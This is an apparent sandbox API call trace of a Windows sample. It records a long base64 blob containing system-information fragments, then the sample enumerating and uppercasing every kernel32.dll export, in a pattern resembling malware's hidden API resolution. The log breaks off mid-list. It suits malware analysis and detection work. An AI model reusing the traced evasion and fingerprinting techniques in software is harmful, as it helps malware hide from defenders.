pszString="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", pcchString=0x34e8bc) returned 1 [0055.165] VirtualAlloc (lpAddress=0x0, dwSize=0x19de, flAllocationType=0x3000, flProtect=0x4) returned 0x2f90000 [0055.165] lstrlenA (lpString="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") returned 2564 [0055.165] lstrlenA (lpString="%BASE64_PLACEHOLDER%") returned 20 [0055.166] GetTickCount () returned 0x1d029 [0055.166] VirtualAlloc (lpAddress=0x0, dwSize=0x26, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0055.166] lstrlenW (lpString="1234567890qwertyuiopasdfghjklzxcvbnm") returned 36 [0055.166] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0055.166] VirtualAlloc (lpAddress=0x0, dwSize=0x4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2f70000 [0055.167] lstrlenA (lpString="kernel32.dll") returned 12 [0055.167] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.167] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.167] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.167] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.167] lstrlenA (lpString="ADDATOMA") returned 8 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.167] lstrlenA (lpString="ADDATOMW") returned 8 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.167] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.167] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.167] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.167] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.167] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.168] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.168] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.168] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.168] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.168] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.168] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.168] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.168] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.168] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.168] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.168] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.168] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.168] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.168] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.168] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.168] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.168] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.168] lstrcpyA (in: lpString1=0x34eac0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.168] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.169] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.169] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.169] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.169] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.169] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.169] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.169] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.169] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.169] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.169] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.169] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.169] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.169] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.169] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.169] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.169] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.169] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.170] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.170] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.170] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.170] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.170] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.170] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.170] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.170] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.170] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.170] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.170] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.170] lstrlenA (lpString="BEEP") returned 4 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.170] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.170] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.170] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.170] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.170] lstrcpyA (in: lpString1=0x34eac0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.170] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.171] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.171] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.171] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.171] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.171] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.171] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.171] lstrlenA (lpString="CANCELIO") returned 8 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.171] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.171] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.171] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.171] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.171] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.171] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.171] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.171] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.171] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.171] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.172] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.172] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.172] lstrcpyA (in: lpString1=0x34eac0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" 